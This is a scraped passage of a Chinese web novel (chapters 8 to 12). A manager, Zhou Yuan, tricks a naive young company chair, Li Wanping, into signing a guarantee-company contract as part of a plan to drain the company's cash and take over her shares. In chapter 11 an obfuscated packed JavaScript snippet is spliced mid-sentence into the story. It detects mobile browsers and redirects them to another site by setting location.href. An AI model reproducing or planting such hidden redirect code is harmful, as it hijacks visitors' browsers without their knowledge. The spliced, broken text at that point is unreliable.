她进门后先是对李婉平尊了声李董,然后才又对周垣道:“周总,您找我?” 周垣嗯,然后将申请单递给她,“给李董解释一下这个数是怎么算出来的。” 韩经理闻言将申请单接过来,看了一眼,又不着痕迹用眼神请示周垣。 周垣淡淡地道:“照实说。” 韩经理这才条理清晰地对着李婉平汇报,“李董,是这样的。我们在南郊的基层工作人员一共是143人,按照国/家标准,每人每月是不低于120元的高温补贴。我们李氏集团从工程建造初期就承诺了员工按照每人每月200元发放,这样一共就是28600元。除此之外,我们在南郊的中层员工是26个人,高温补贴是每人每月150元,一共3900元。另外,我们南郊的房产有部分预售,这一部分的业主在购房的同时,享有相应的礼品赠送。每人的礼品标准是1000元。目前已经交款的业主人数是32人,一共是32000元。还有街道办、城管等一些关口的走访费用,粗略估计下来,共计申请八万元。” 韩经理汇报完毕,就站在那里等待李婉平的批示。 李婉平微微蹙眉,“业主赠送的礼品为什么要算在员工的高温补贴申请单上?而且,走访费按照规定也不应该算在高温补贴里吧?” 韩经理再次用眼神请示周垣。 周垣点了下头,对韩经理道:“你去忙。” 韩经理便对着周垣和李婉平分别欠了欠身,然后转身离开了办公室。 李婉平不知道周垣为何不让韩经理继续说,但她也不敢多言。 韩经理走后,周垣对李婉平道:“你要明细,财务给你拿出明细即可。至于怎么做账,自然有她自己的道理。” 周垣这话说的很含糊,李婉平并没有听懂。 但周垣并不打算跟李婉平解释。因为有些事情只可意会不可言传,自古以来,账本子都是糊涂账。有些话,你说出口就是错的,但你经历的多了,自然就懂了。 李婉平咬了下唇。 周垣问:“还有别的问题吗?” 李婉平摇头,说没有了。 但并不是真的没有了,而是,李婉平觉得她没有必要再问了。因为她问了,周垣也不会跟她说,反而还显得她很不懂规矩。 周垣察觉李婉平的心思,淡淡道:“你能发现问题、提出问题这很好,但并不是所有问题都有一个明确答案。做生意,如何做生意,书本上不会真的教你。” 李婉平依旧没听明白,但她还是点了点头。 这时有人敲门,李婉平顿时像是想起了什么,连忙起身急匆匆跑到门口。 是助理送来了一杯星巴克,李婉平订的外卖。 李婉平抱着那杯星巴克又走回办公室送到周垣面前,“那个……天气变热了,请周总喝咖啡。” 周垣没成想还有这么一茬儿,又莫名想起刚才何锐说,蒋柏政一大早就请了全公司的员工喝咖啡。 周垣扫了眼李婉平那杯咖啡,“蒋总请的?” 李婉平连连摆手,“不是不是,这是我刚才来办公室的路上点的,是我要请周总喝咖啡。” 周垣没接话。 李婉平顿时有些局促,“不管怎么说,我都很感谢周总你对我的指导。” 周垣笑不达眼底,他瞧着李婉平,他深邃的瞳孔内,是李婉平茫然无措地样子。 周垣慵懒靠着椅背,“继续说公事,还有什么别的问题?” 李婉平微微有些尴尬,“没……没有了。” 周垣挑眉,“这就没有了?” 李婉平打定主意不再多问,只点头。 这时李婉平的手机响了起来,她抱歉看向周垣,周垣没太在意,示意她可以接。 李婉平继而拿出手机扫了一眼来电显示,然后差点吓得把手机扔了。 是蒋柏政。 李婉平不想接。 她不想让周垣觉得她有意在拉拢蒋柏政,但眼下要是不接,似乎更有欲盖弥彰的意味。 李婉平只能硬着 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蒋柏政继而道:“我忽然很想知道,李董会不会也能这样维护我?” 李婉平已经完全不想再跟蒋柏政掰扯,“蒋总,我要忙了,我们回头再联系。” 话落李婉平就要挂断电话,但蒋柏政却又先声道:“我已经订了酒店的饭菜,再有五分钟就能送到李董的办公室了。没别的意思,只是那天有个应酬,席间尝着那家酒店的饭菜味道不错,就想着让李董也尝一尝。那你先忙,我们回头再联系。” 蒋柏政说完这话便在李婉平之前先挂断了电话,李婉平能感觉到蒋柏政应该是生气了,但即便如此也没有办法。 比起得罪周垣,李婉平宁可得罪蒋柏政。 电话挂断之后,李婉平思量着措辞想要跟周垣解释解释,但她还没等开口,门外又响起了一阵敲门声。 周垣淡漠说:“进来。” 是送外卖的小哥,拎着五个大袋子,进门后探头探脑地瞅了眼李婉平,“李女士吗?这是蒋先生给您订的外卖,给您放哪?” 李婉平张了张嘴。 周垣却先声对外卖小哥道:“放桌上吧,谢谢。” 外卖小哥应着,然后将五个大袋子一一放到桌子上,又对李婉平嘱咐了一句:“里面有个粉丝虾,说是要趁热吃。” 他说完就直接走了。 办公室的空气一下子安静下来,落针可闻。 李婉平觉得尴尬极了。 其实她也并未做错什么,但就是觉得很尴尬。 周垣起身走过去,面无表情将那五个袋子一一打开,每样菜式都瞧了瞧,“订这么多,两人份?” 李婉平不知道该怎么说。 周垣嗤了声,“蒋总一会儿过来吗?” 李婉平连忙道:“他不过来。” 周垣扫了李婉平一眼,“那这么多你自己能吃完吗?” 李婉平支吾着,“要不……要不周总跟我一起吃?” 周垣闻言挑眉,“蒋总送你的,我吃合适吗?” 9. 第9章 李婉平当然不能说不合适,“反正这么多我一个人也吃不了,浪费不好。” 她说着就去将那些饭菜全部拿出来摆到桌子上,“这也快十一点半了,要不我们先吃饭,刚才那个外卖小哥不是说有个什么菜要趁热吃。” “粉丝虾。”周垣不紧不慢补充道。 李婉平默了一秒,记得倒是比她还清楚…… 李婉平将餐具也拿出来,正好两套。 周垣的心情似乎很好,直接走到桌子旁的沙发坐下,“正好饿了,蒋总这饭送的还真是及时雨。” 李婉平尴尬陪着笑,也一同坐下,坐到了周垣对面。 不过该说不说,蒋柏政订的菜品真是非常不错,精致美味。尤其是那道粉丝虾,味道堪称惊艳。 周垣也认可地点了点头,“蒋总这品味是不错,明天还给李董送吗?” 李婉平不知道该怎么说。 谁知道蒋柏政明天送不送,但大抵应该不会送了吧。他又不欠李婉平什么,也没义务天天请她吃饭。 这时李婉平的手机又响了起来,李婉平扫了眼来电显示,是蒋柏政。 李婉平不想接,但也不好直接挂断,便按了静音。 周垣将这一幕尽收眼底,“怎么不接?需要我回避吗?” 李婉平尴尬说不用。 电话很快便自动挂断,但紧接着没半分钟,蒋柏政却又打了过来。 再不接就不合适了,李婉平只好又当着周垣的面把电话接了起来,“蒋总。” 电话那头立刻传来蒋柏政的声音,慵懒而痞,“外卖收到了吗?” 李婉平说收到了,“谢谢。” 蒋柏政闷声轻笑,“李董不必跟我这么见外,如果觉得好吃,我明天再给李董订。” 李婉平连忙道:“不必了,公司有员工餐厅,再说,我也不能总让蒋总请客。” 蒋柏政闻言笑意更深,“这话说得在理,那明天李董请我怎么样?我知道一家不错的菜馆,明天我们可以一起去。” 李婉平顿时哑言。 她可以婉拒别人对她的邀请,但别人让她请客,她不知道该怎么拒绝。 倒也不是在乎一顿饭钱,只不过…… 这一空档,周垣忽然向李婉平伸出手来。 李婉平一愣,不知道周垣想要什么。 周垣言简意赅,“手机给我。” 李婉平怔住。 但周垣已经不由分说把李婉平的手机拿了过去,李婉平想要回来却已经来不及,因为周垣已经对着手机道:“蒋总,不忙吗?” 电话那头明显一顿,紧接着蒋柏政的语气都变了,“周总?” 周垣微微向后靠着椅背,刚烈慵懒的男人味,比酒还要浓郁。他双眼眯得狭长,配上浅浅的细纹,像极了风中的桃花 , 雅痞且撩。 “你说这可巧,中午约李董谈事,蒋总的外卖就到了。李董看是两人份,就留了我一起吃。” 周垣这话纯属是隔应蒋柏政。 周垣听到了李婉平和蒋柏政的电话内容,原本,是蒋柏政想要过来陪李婉平一起吃,但被李婉平拒绝了。 而现在,蒋柏政买的饭,却便宜了周垣,想想都觉得蒋柏政是个冤大头。 周垣尤嫌不够,又慢条斯理地道:“菜品的味道的确不错,刚才还想打电话问问蒋总是从哪家酒店订的,这不蒋总的电话就打过来了。” 蒋柏政的语调都凉了,夹冰带寒,“周总什么酒店没去过,还需要问我吗?” 周垣笑,嘲讽而刻意,“其实我是没什么,主要我们李董觉得那道粉丝虾很好吃,我就想着问问蒋总是在哪家酒店订的,回头有空,我再跟我们李董一起去店里尝尝。” 蒋柏政估计都想在电话那头骂人了,但基本的教养还是让他忍住了。 李婉平察觉到气氛不对,赶紧把手机抢回来,“蒋总,那什么……总之很感谢你帮我订的外卖。” 蒋柏政半晌没吭声。 李婉平又试探性地唤了声,“蒋总?” 蒋柏政在电话那头凉凉地道:“李董拒绝我过去一起吃饭,是为了跟周总一起吃?” 李婉平这会儿真是哑巴吃黄连,有苦说不出。 蒋柏政又道:“李董,我有点生气了。” 他这是半开玩笑的语气,而且还带着笑。但李婉平依旧能感受出来,蒋柏政是真的生气了。 她知道这样做是不对的,即便蒋柏政只是个朋友,但你吃着人家给你点的外卖,还不让人家来,还跟别人一起吃,总归是不礼貌。 李婉平非常诚恳地对蒋柏政道:“蒋总,对不起,我回头一定请你吃饭。” 蒋柏政没吭声,直接挂断了电话。 李婉平听着电话里的忙音怔愣了几秒,忽然觉得自己是一个头两个大。 周垣却丝毫不在意,拿起筷子又夹了一块糖醋排骨放在小碟子里继续品尝。 窗外的阳光折射进来正好掠过周垣的眉心,显出几分虚浮,他的语气耐人寻味却平和,“蒋总不高兴了?” 李婉平权衡利弊,并不愿意因为这点小事跟周垣闹得不愉快,便小声道:“没有。” 周垣平静看了李婉平一阵,嗤了声,“我吃饱了,饭菜的味道很好,多谢李董款待。” 他话落便起身,直接离开了办公室。 这顿饭,李婉平吃的味同嚼蜡。 她感觉她最近真是太背了,总是做什么错什么,哪怕什么都不做,都有可能出错。 但她又不知道问题到底出在哪里,只想找个算命的给她看看。 周垣走后,李婉平自然也不好多留。毕竟是周垣的办公室,主人都走了,她哪能在这里悠哉悠哉地吃饭? 李婉平仔细将那些压根儿就没怎么动过的饭菜全部又装回外卖袋子,然后又找了抹布帮周垣把桌子擦干净,临出门前,顺便把垃圾也一并带走了。 下午李婉平便回家了,周垣准她一下午的假,让她回去收拾东西。 李婉平就去了一趟超市,把所有该买的都买了,买了整整一后备箱。同时又联系了搬家公司,把她家里的床和沙发都搬了过来。 做完这一套之后就已经很晚了,李婉平把中午剩的那些菜端去厨房热了热,但也没吃多少,算是把晚饭应付过去。 晚上周垣给李婉平发了条微信,让她今天晚上不必过来学习了,说是有应酬。李婉平刚好今天也不太想去,就回了 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蒋柏政就是在这个时候给李婉平打了个电话。 电话的忙音响了很久才被李婉平接起。 蒋柏政先一波官方客套,“李董,忙吗?” 电话那边很嘈杂,像是在室外。 蒋柏政顿了下,又道:“你在外面?” 李婉平怕蒋柏政听不清,抬高了些声音说是,“我在工地,蒋总你有什么事吗?” 蒋柏政微微有些意外,“你在工地做什么?” 李婉平实话实话,“看工程,周总说要让我学着实地考察。” 蒋柏政顿时有些意外。 他没搞清楚周垣这是唱的哪一出。 在蒋柏政看来,周垣应该也不希望李婉平能掌握实权。既然如此,周垣为什么还要让李婉平去工地考察?这不是在培养李婉平吗? 蒋柏政默了片刻,“周总跟你在一起吗?” 李婉平没多想,直接道:“周总也在,你找他吗?” 蒋柏政直接否,“不是,我就随便问问。” 他紧接着岔开了话题,“李董,我记得你上次说过要请我吃饭,还算数吗?” 李婉平在电话那头微微默了片刻。 算数是算数…… 蒋柏政半真半假开着玩笑,“不会只有我一个人把话当真了吧?” 李婉平连忙道:“不,那不能……” 这事儿如果蒋柏政不提就算是掀过去了,但他提了,李婉平说什么也不可能拒绝。 李婉平思量着,“要不忙过这段时间,我再请蒋总吃饭。” 蒋柏政一口答应,“好,那我等着李董电话。” 李婉平应下。 这时一直站在李婉平身边没吭声的周垣忽然漫不经心扫了她一眼。 他的语调不高不低,却不太友善,“上班时间不准接私人电话,下面的员工都在顶着高温等李董去指导工作,李董注意一下自己的影响。” 李婉平连忙点头,小声跟蒋柏政道别,然后匆匆将电话挂断,“对不起,周总,我这就把手机关机。” 周垣没吭声,直接迈步离开。 10. 第10章 李婉平紧随在周垣身后。 工地上的工头给李婉平和周垣一人一个安全帽,帽子并不是很干净,上面沾了些灰尘。 李婉平微微有些抗拒,她不着痕迹看了眼身边的周垣,但周垣已经把安全帽带上了。 周垣感受到李婉平的视线,回视了她一眼,语气淡淡的,“工地的条件就这样,即便安全帽是新的,放在仓库里也会沾上灰尘。” 李婉平顿时有些不好意思,连忙也将安全帽带在了头上。 周垣继而跟着工头往工地上走,李婉平跟在后面。 工地的路并不好走,到处都是沙石砖块,李婉平走了几步差点就崴了脚。 走在前面的周垣脚步一顿,回头扫了一眼李婉平的鞋,顿时就火了,“谁让你穿高跟鞋?让你来工地看工程,不是让你来走秀!你是不是没有脑子?” 李婉平自知理亏,连忙道歉,“对不起……” 周垣斥道:“回车上等着吧。” 但李婉平怎么可能回车上等着,她来都来了,如果不学点东西,岂不是白跑一趟。 李婉平顿时一咬牙,将两只高跟鞋都脱了下来,光着脚踩在地上,“走吧,我没关系。” 周垣愣了愣,他着实没想到李婉平会这么做。 周垣甚至一时之间都想不出词来形容李婉平的愚蠢,他生生被李婉平给气笑了,“你觉得,我们是在拍电视剧吗?” 李婉平一怔。 周垣道:“是不是电视剧上都有这样的桥段,女主因为穿了高跟鞋不方便走路,就把鞋子脱了,光着脚走?” 李婉平默了片刻。 她的确是这么想的,因为现实生活中她从没有遇到过这样的情况,所以,当她遇到的时候,她的第一反应就是脑海里看过的电视剧里的情节。 周垣侧身让出一条路,“来,往前走。” 李婉平没明白周垣什么意思,还真就抬起脚准备光着脚往前迈步。但她的脚抬起来还没来得及落地,就被周垣拉住胳膊往后倒退了一个踉跄。 周垣都快被李婉平气得没脾气了,他伸手指了指工地上的沙石土块,厉了声:“这是什么地方?工地。工地上有什么你知道吗?钉子、石子、玻璃碎片。你光着脚一路走过去,脚还要吗?” 李婉平顿时吓得脚一缩,脸色都白了。 周垣彻底没了耐心,“回车上等着。” 李婉平被周垣训斥地低下了头,眼眶微微有些泛红。 工头看得有些于心不忍,就劝了句,“李董,您先回车上吧,周总也是为了您的安全着想。” 李婉平咬住嘴唇点了点头,然后将安全帽摘下来递还给工头,穿上鞋转身走了。 工头看着李婉平的背影微微叹了口气,“周总,您何必发这么大的火。不管怎么说,李董就是个刚大学毕业的小姑娘,她不懂这些也很正常。” 周垣皱眉听着,却没有吭声。 李婉平红着眼眶回到车上,她知道她没有资格哭,因为的确是她的错,但还是有一两滴眼泪不受控制地落了下来。 李婉平赶紧用手背将眼泪抹掉,咬紧了嘴唇,强迫自己将心情平复下来。 她停车的位置就离工地不远,从车窗看出去,也能看到工地上的情况。 周垣已经跟着工头走进了楼里,工头走在前面,另外又来了三个人围着周垣讲解着什么。 周垣听得很认真,不时回复几句,大抵是问了问题,他问完,又有人再跟他讲解。 李婉平不觉就看出了神,不管李婉平愿不愿意承认,但周垣专注工作的样子,真的非常有魅力。 李婉平在车上等了周垣一个多小时,天热,车上有空调不觉得怎样,但在工地上站了一个多小时的周垣已经是汗流浃背。 周垣回到车上的时候,李婉平赶紧给他递了一瓶矿泉水。 周垣也没客气,接过矿泉水直接灌了一大口。 李婉平支吾着,“周总,你别生气了,今天的确是我不对。” 周垣闻言扫了李婉平一眼,她的眼角有被擦过的痕迹,大抵是在工地上刮脏了手,李婉平也没注意,手背擦过眼角,留下了一道浅浅的灰。 周垣的眼眸在阳光下格外好看,像蓄满一汪水,清澈而深邃。他的语气淡淡的,但明显放轻了些,“哭了。” 李婉平嘴硬说没有。 周垣从纸巾盒里抽了张纸递给李婉平,“眼角。” 李婉平一愣,下意识伸手翻下带镜子的遮阳板去看。果不其然在她的眼角有两道浅浅的灰,把她的脸衬得脏兮兮的。 李婉平赶紧用纸巾擦了擦,有些尴尬。 周垣道:“刚才我的语气重了。” 李婉平那刚平复下去的情绪又稍微有些反弹,但她的错就是她的错,她必须得认。 李婉平摇了摇头,很诚恳地道:“周总没做错什么,我下次一定注意,再也不会犯这种低级错误了。” 周垣微不可查地叹了口气,他摸出烟盒点了一根,浓烈的雾气顷刻间在车厢内弥漫,将他吞噬虚化。 周垣继而将车窗全部落下,烟雾随之散去,“今天考察的内容我会让何锐整理出来,然后发送给你。” 李婉平顿时有些喜出望外,她还以为,她今天真的是白跑了一趟。 李婉平对着周垣连连道:“谢谢周总!周总辛苦了!” 周垣顿时有些哭笑不得,他隔着车窗向外面掸了掸烟灰,看着不远处正在拔地而起的大楼,对李婉平道:“这项工程大约能在明年年底竣工,到时候,李董可以亲自来参加竣工仪式。” 李婉平有些不敢置信,“我可以参加吗?” 周垣笑,“你是董事长,为什么不能参加?” 李婉平的笑容有些腼腆,“我什么也没做,总觉得有些名不副实。” 周垣扭头看了李婉平一眼,“你出钱了。这项工程是李氏集团出资建造的,而李氏集团是你的企业,怎么会名不副实?” 李婉平便不说话了。 周垣问她:“怎么?” 李婉平诚实地道:“自从爸爸去世,李氏集团还能够顺利发展着,都是因为有周总。” 周垣微微挑眉,“怎么突然给我戴高帽?” 李婉平摆了摆手,“不是戴高帽,是事实。” 周垣松了松颈口,吐了个烟圈,“如果我愿意做周公,李董能做成王吗?” 李婉平闻言一愣。 周垣用指腹掐灭手上的烟头,扔出窗外,“不用害怕,一切都 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正值饭点,周垣让李婉平去他家里帮忙做饭。 自从上次李婉平帮周垣做了一顿早餐之后,周垣好像就讹上她了。 因为两人是邻居,周垣隔三差五的就会喊李婉平过来做饭,而且每次都有十分充足且合理的理由。 对此,李婉平并不介意。反正她自己一个人吃也是吃,再加上一个周垣,无非就是往锅里多放点食材罢了。 再说,周垣还是她的老师。学生孝敬老师,也算是合情合理。 周垣因为在工地上出了一身汗,进门就去浴室里洗澡了。 李婉平一个人在厨房里忙活,门外忽然传来一阵敲门声。 李婉平系着围裙就去开门,门外是一个男人,三十多岁的模样,长相不是很帅,但有些痞。 男人看到李婉平后微微一愣,蹙眉,“这里是……周垣住在这里吗?” 李婉平点头。 恰时洗完澡正从浴室里穿着浴袍走出来的周垣刚好走到客厅。 李婉平就顺势回头说了句:“周总,有人找你。” 门外的男人隔着李婉平看了一眼穿着浴袍的周垣,脸上的表情可谓精彩万分。 周垣扫了一眼门外的男人就知道他会错意了,但也没解释,直接道:“进来,杵在门口做什么?” 男人便走了进来,在经过李婉平的时候,又经不住多看了两眼。 周垣向李婉平介绍,“梁氏集团董事长的二公子,梁志泽,梁总。” 顿了顿,又向梁志泽介绍,“李氏集团董事长,李婉平,李董。” 梁志泽闻言饶有趣味地盯着李婉平眯了眯眼,“李董?” 周垣不可置否,又对李婉平道:“我跟梁总有些事情要谈,你把做好的饭菜端回去吃,晚点再过来。” 李婉平应着,然后转身走进厨房用保温盒打包了一些饭菜离开。 梁志泽全程瞧着李婉平,目光讳莫如深。 直到李婉平走出房门,房门“啪嗒”一声关上,他才戏谑张扬地对周垣道:“厉害了我的周总,你直接把人给睡了?” 11. 第11章 周垣逆着光走回客厅,他的身影在斑驳的光影里沦陷,气韵厚重,显得格外沉静。 他坐到沙发上,摸出烟盒点燃一根,窗子关着,没有一点风,淡淡的烟雾被捏成一条狭长笔直的线,凌空而上,然后无声无息散开。 “你来找我是为了八卦吗?” 当然不是。 梁志泽虽然看上去吊儿郎当的,但绝对不是一个没有正事儿的人。 他跟着周垣走进客厅相对而坐,然后从公文包里拿出一份文件顺着桌面推到周垣的面前,“兄弟,为了帮你拿下这个项目,我可是差点跟我老子翻脸。” 周垣叼着烟将文件打开,粗略从头到尾扫了一遍。 梁志泽的手指有一下没一下地点着桌面,“这个担保公司一旦成立,资金立马就得进去。咱之前可讲好了,你七我三,签了字就生效。” 周垣淡淡嗯,“一个星期,我会让李婉平签字。” 梁志泽的神情顿时有些耐人寻味。 周垣皱眉,“怎么?” 梁志泽的笑容玄妙幽深,“你都把人睡了,还舍得挖个坑把她埋了?” 周垣言简意赅说:“没睡。” 梁志泽嗤了一声,明显不信,“人是从你家走的,你还刚洗完澡,骗谁呢?不过睡不睡的跟我也没关系,反正都是你的人,你爱怎么着怎么着。不过,这个合同一旦生效,三个月内,李氏集团的资金链必须断掉,否则,咱们也是竹篮打水一场空。” 周垣很是从容,“现在李氏集团的所有项目都经过我手,资金怎么周转我心里有数。三个月内,李氏集团不可能再拿出这么多钱来投资担保公司,到时候为了避免追责,李婉平只能低价转让手里的股份。” 梁志泽跷着二郎腿顺话接话,“那到时候,这些低价转让的股份就可以被咱们周总买断,从此之后,李氏集团江山易主,就改姓周了。” 梁志泽说着啧啧两声,“只是可怜了那个小董事长,被人卖了还浑然不知。” 他顿了顿,附身向周垣凑近了些,深意十足,“你不心疼?” 周垣一张脸无波无澜,“心疼什么?” 梁志泽说了句良心话,“只是觉得用这招对付一个小姑娘有点损。” 的确损。 如果是正常出售股权,李婉平应该能卖个好价钱,但资金链断裂被逼着卖股,价格就会压的很低。甚至,连正常价格的一半都卖不上。 周垣微微敛眸,“商场是一个弱肉强食的地方,不是慈善机构。以商人的角度,我只看重获取最大的利益。” 梁志泽这回倒是赞同地点了点头。 他对这句话深有感触,因为他就出生在那样一个家族,他从小就跟自己的亲哥哥竞争,最后败北,才不得不从家族企业中离开,另寻出路。 该说不说,梁志泽虽然在情感上同情李婉平,但在理性上,他明白李婉平如果不够强大,那么,即便不被周垣掠夺,也会被其他人掠夺。 那既然如此,与其让李婉平被其他人掠夺,还不如让周垣上位。毕竟,在E市的地盘上,梁志泽还需要周垣对他的帮衬。 两人又就这个项目商谈了一个多小时,基本思路已经有了,但还有很多事情还需要进一步细化。 梁志泽从周垣家离开的时候,已经是晚上九点半多。 周垣亲自将梁志泽送到电梯门口,回来的时候看到隔壁房子的门,周垣的脚步微微顿了下。 这个时间,也不知道李婉平在家里做什么。 以往这个时候,如果周垣不忙,李婉平还在他家里看文件。当然,看文件就只是单纯地看文件,只看不教,周垣敷衍李婉平的一种手段罢了。 周垣正这么想着,隔壁房子的门突然“啪嗒”一声开了,紧接着周垣就看到了穿着睡衣,拎着垃圾袋正准备往外走的李婉平。 李婉平的脚步顿了下,她压根儿就没想到她一开门居然就看到了周垣。 周垣下意识不自然地咳了声,“去扔垃圾?” 李婉平连忙说是。 周垣继而道:“放在门口明天会有保洁来收,大晚上的别一个人出去,不安全。” 李婉平指了指垃圾袋,“刚才吃了几块西瓜,天太热了,西瓜皮放在门外容易招虫子。” 李婉平说着,又扭头看了眼周垣的家门,“你朋友走了?” 周垣嗯,“垃圾给我,我帮你去扔。” 李婉平顿时有些不好意思,“那怎么好……” 周垣却并不理她,直接伸手将李婉平手里的垃圾袋拿过来,然后转身离开。 当天晚上的后半夜,外面下了很大的雨。夏天的雨,风大,雷声像爆/炸一样。 周垣原本睡眠就浅,雨刚开始下的时候,他就已经醒了。 他没开灯,在黑暗中走到了卧室的窗台。从这个位置,他刚好可以看到隔壁李婉平的卧室窗台。 大抵李婉平没有关窗户,外面的风将窗帘从屋内吹了出来,凌乱地飞舞在半空中。 周垣皱眉瞧了一会儿那印着hello kitty印花的窗帘,心想这李婉平真是心无二事睡得香。这么大的雨,这么响的雷,窗帘“噼里啪啦”地砸着玻璃都没把她吵醒,真也算是一种福气。 他继而收回目光,然后转身回了卧室。 次日李婉平是被冻醒的。 可不得冻醒。 她昨晚睡觉的时候外面是35℃,她开着空调。早晨起来外面下着大雨,才26℃,她还开着空调…… 李婉平醒来的时候就是一个大大的喷嚏,嗓子有点疼,声音都哑了。她扭头一看窗台,窗帘不知道什么时候被风吹出了窗外,那原本粉白的颜色现在都已经变得灰不拉几,有些脏。 李婉平顿时有些郁闷。 她起身先把空调关了,又把窗帘给拽了回来,最后关上了窗户。 她感觉有些冷,一量体温,果不其然是发烧了。不过温度不算太高,37.5℃,吃点药还能坚持上班。 李婉平是这样想的,也是这样做的。 她随便吃了点早饭,吃了药,就直接出门去上班。 到了公司,助理赵曼已经跟往常一样将各部门的文件整理归类放到了李婉平的桌子上。 赵曼见李婉平的脸色不太好看,就关心了一句:“李董,您不舒服吗?脸色有些白。” 李婉平礼貌笑,“没什么,可能有点着凉。你去忙,不用管我。” 赵曼应着,便转身回到了自己的办公室。 李婉平继而走到办公桌前坐下,她按照顺序拿了一份文件来看,但依旧是半懂不懂的。 对于这一点,李婉平并没有怀疑到周垣的头上。她并不认为是周垣没有教好,只是觉得是她自己太笨没有学会。 即便偶尔李婉平也有起疑的苗头,但周垣都会先把这个苗头扼杀在摇篮里。他会板起一张脸,严肃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14628874|156245||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地训斥李婉平,说什么如果每个人学两天经商就什么都懂,那满大街不都是大老板了? 还会训斥李婉平,学东西不能图快,心不能浮躁。 这些话猛地一听都非常有道理,再加上周垣擅长说话的技巧,李婉平一个初出茅庐的小姑娘根本就反应不过来。 李婉平没精打采地瞧着文件,大抵是因为发烧的原因,她的精力根本就无法集中。她连自己什么时候趴在桌子上睡着的都不知道,只知道她这一觉睡得还挺安稳。 李婉平再次醒来的时候已经是下午两点多,她迷迷糊糊睁开眼,先是看到放大的黑色文字,她缓了一秒,意识到是文件,又抬头,就忽然发现在她办公桌对面的椅子上不知道什么时候坐了个人。 李婉平先是一愣,刚睡醒脑子还不是很清醒,没反应过来。 紧接着就是猛得一激灵,起身,却发现自己的身上不知道什么时候多了一张薄薄地空调被,随着她起身的动作,空调被“啪嗒”一声掉落到了地上。 李婉平顿时紧张起来,“周周周周周……周总,你你你你你……你什么时候来的?” 周垣喝着咖啡,慢条斯理抬起手腕看了眼表,“也没很长时间,大约三个来小时而已。” 三个来小时…… 周垣看着李婉平在上班时间睡大觉看了三个来小时…… 李婉平顿时想死的心都有了。 公司规定,中午只有一个半小时的吃饭休息时间,其余时间皆要在各自的工作岗位上工作。而李婉平倒好,身为董事长,公司的一把手,从早上上班就开始趴在桌子上睡觉,一睡睡到了下午两点…… 李婉平有些无地自容,低着头,声音很低,“那个……那个……我今天有点不舒服……” 她话未说完,周垣抬眸凉凉扫了她一眼,直接将李婉平的话头打断,“李董的事情不需要跟我汇报。” 李婉平碰了个软钉子,一时无言,只得把头垂得更低。 周垣又喝了口咖啡,“既然身体不舒服,怎么不在家里休息?” 李婉平实话实说,“只是有点发烧,温度不算高,想着应该能坚持来上班。” 周垣不咸不淡哦了声,“坚持来上班睡觉?” 李婉平顿时脸一红,羞愧难当。 周垣嘲讽,“昨天晚上没关窗户着凉了?” 李婉平闻言一愣,虽然她着凉应该是没关空调,但周垣怎么知道她没关窗户? 李婉平嘴善如流,“周总怎么知道我昨天晚上没关窗户?” 周垣神态慵懒斜倚靠背,“窗帘都要被风吹到我这边的窗台了,还问我怎么知道的。” 李婉平的脸顿时更红,单是想想那个画面,她都恨不得现在就挖个地洞钻进去,“对不起,我以后会注意的……” 周垣抬眸,“没关系,目测你家窗帘的质量很好,应该不会吹到我这边。” 李婉平就彻底不说话了。 周垣将咖啡杯放到桌面上,“还能坚持工作吗?不行就回去休息。” 李婉平连忙道:“没问题,已经没什么事了,应该也退烧了。” 她顿了顿,又弱弱地道:“周总来找我怎么不把我叫醒?周总你这么忙,白白在我这里浪费了三个小时的时间……” 周垣闻言半真半假,“主要是看着李董睡得香,没忍心。” 李婉平默了一秒,“那……周总你来找我是有什么事吗?” 12. 第12章 周垣这才将一份合同沿着桌面推到李婉平的面前,“李董过目,这是我新谈的一个项目,是一个担保公司。大体就是我们出钱为需要做担保的人担保,然后抽成。这个项目的利润很可观,没有什么成本,而且只要评估被担保人可抵押的资产没有问题,风险也非常小。” 周垣说着,顿了顿,“我已经看过合同了,没什么问题,李董也看一看,如果没有问题,需要李董签字。” 李婉平将合同拿了过来,薄薄地一本,有十几页纸。她从头到尾看了一遍,并没太看懂,只隐约看到在注资那里写着,如有违约,将支付十倍的违约金。 李婉平皱眉看着那个数字,心里没来由有些不安,她谨慎地问周垣,“十倍的违约金是不是太高了?” 周垣的目光沉静如水,藏着令人猜不透的思绪,“这种担保公司利润很高,项目是我通过一个关系弄到的。我们占比百分之七十,对方占比百分之三十。我们占大头,自然要给对方吃个定心丸,人家也害怕我们到时候不给钱,让人家竹篮打水一场空。” 李婉平听得似懂非懂,“那……这么多钱,我们能拿的出来吗?” 周垣的目光无意识看向别处,“今年年初有几个项目已经进入尾声,这个合同的付款时间是三个月内,到时候用那些项目挣来的钱再投到这个项目里面,资金是足够的。” 李婉平点了点头,“我相信周总,周总看中的项目都很挣钱。” 李婉平说着拿起笔就要签字,但当她的笔尖马上就要触到白纸的时候,周垣却忽然伸手,一把抓住了李婉平的手腕。 李婉平愣了下,有些诧异看向周垣,“怎么了?” 周垣沉默片刻,“文件你看懂了吗?” 李婉平有些不好意思摸了摸鼻尖。 肯定是看不懂,周垣又不教她,她就一直没把文件看懂过。 李婉平实话实说,“没太看懂,但既然周总都已经看过了,那就一定没有问题。” 周垣没吭声。 文件的确是没问题。 周垣一向不会给自己找麻烦。他的目的是要让李氏集团的资金链断掉,而非从文件上做文章。 因为从文件上做文章很可能到最后会遭到舆论的反噬,但李氏集团的资金链却是不可控的。换句话说,前者叫人为,后者叫无可奈何。 周垣太擅长布局,而且布得天衣无缝。 如果他在文件上给李婉平挖个坑,那么,即便到最后他得到了李氏集团,他的名声也很不好听,因为他在欺负一个小姑娘。但如果是资金链的问题,那就是另一说了。 因为资金这种事,它也许会到位,也许不会到位。到时候李氏集团如果真拿不出钱来也不能怪周垣,周垣完全可以说,按照计划,资金应该能回笼,但事出突然,有的资金没有回笼,那也是没有办法的事。 虽然明眼人也能知道是怎么回事,但放在台面上,周垣就是无辜的,而且如果操作的好,他甚至还能落一个拯救李氏集团的好名声。 周垣松开了握着李婉平手腕的手,语气很淡,“签吧。” 李婉平不疑有他,直接拿着笔在签名处写下了自己的名字。 